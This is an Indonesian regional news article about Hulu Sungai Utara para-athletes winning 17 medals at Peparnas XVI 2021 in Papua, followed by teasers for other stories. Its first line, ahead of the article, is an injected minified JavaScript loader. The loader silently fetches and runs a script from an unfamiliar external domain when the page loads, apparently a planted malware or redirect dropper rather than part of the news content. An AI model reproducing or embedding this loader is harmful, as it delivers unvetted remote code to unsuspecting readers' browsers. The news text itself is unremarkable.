(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Total 17 medali terdiri 7 medali emas, 6 perak dan 4 medali perunggu berhasil disumbangkan paralimpian asal Hulu Sungai Utara (HSU) di ajang Pekan Paralimpik Nasional (Peparnas) XVI 2021 Papua.
Berkat sumbangan medali tersebut menjadikan kontingen Provinsi Kalimantan Selatan finish di posisi empat besar dengan torehan total medali sebanyak 126 dengan rincian 41 emas, 42 perak dan 43 medali perunggu.
Sedangkan paralimpian asal HSU yang berhasil menyumbangkan medali diantaranya Irma Yunita berhasil sumbang 1 emas dan 2 perak, Ansyari memboyong 3 emas, Rika Amelia Putri berhasil mendapatkan 1 emas dan 2 perak, Sapiah 1 emas, Munadi kantongi 1 emas dan 1 perunggu, Yulia Resmiati 1 perunggu, Ansari 1 perunggu, Ansissa Anindya 1 perak dan Janawi 1 perunggu.
Baca juga: Menteri Sofyan Djalil Akui Ada Oknum BPN Jadi Mafia Tanah
Ketua Kontingen National Paralympic Commite (NPC) HSU, Febryanti Realina Astuti, menilai prestasi yang diraih tersebut merupakan hasil kerja keras dan pemusatan latihan dari provinsi yang dilaksanakan kurang lebih 13 bulan.
“Dari 13 bulan lamanya itu semua pengurus NPC HSU bahu membahu bersinergi dengan pemerintah daerah dan NPC Kalsel berusaha mendukung serta memfasilitasi dalam rangka mempersiapkan semuanya,” ungkap Ketua NPC HSU, Rabu (17/11/2021).
Terima kasih kepada Pemkab HSU khususnya Bupati HSU, Disporapar HSU dan NPC Kalsel telah mendukung dan memfasilitasi paralimpian untuk memberikan hasil yang terbaik.
Baca juga: Parade Senja di Lapangan Murjani, Tampilkan Seni Budaya Setiap Tanggal 17
“Karena dukungan merekalah kami berhasil pada puncak prestasi pada Peparnas XVI Papua,” ucapnya.
Lebih jauh, pihaknya telah berkoordinasi dengan Provinsi Kalsel untuk melakukan pemanggilan kepada paralimpian peraih medali emas untuk mengikuti Asean Paragames di Filipina 2022 mendatang.
Ahmad Munadi, paralimpian cabor tenis meja mengakui, sebelum menghadapi ajang Peparnas XVI di Papua, telah mempersiapkan fisik, mental, kesehatan, staretegi dan taktik dalam menghadapi ajang tersebut.
“Walaupun disana cuacanya berbeda dengan disini, Alhamdulillah bisa beradaptasi. Saya persembahkan ini untuk keluarga saya, tentunya HSU dan juga Kalsel, kedepannya semoga saya dapat mengikuti Asean Paragames di Filipina 2022 serta dapat mengikuti Pelatnas,” pungkasnya (kanalkalimantan.com/dew)
Reporter: dew
Editor : bie
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.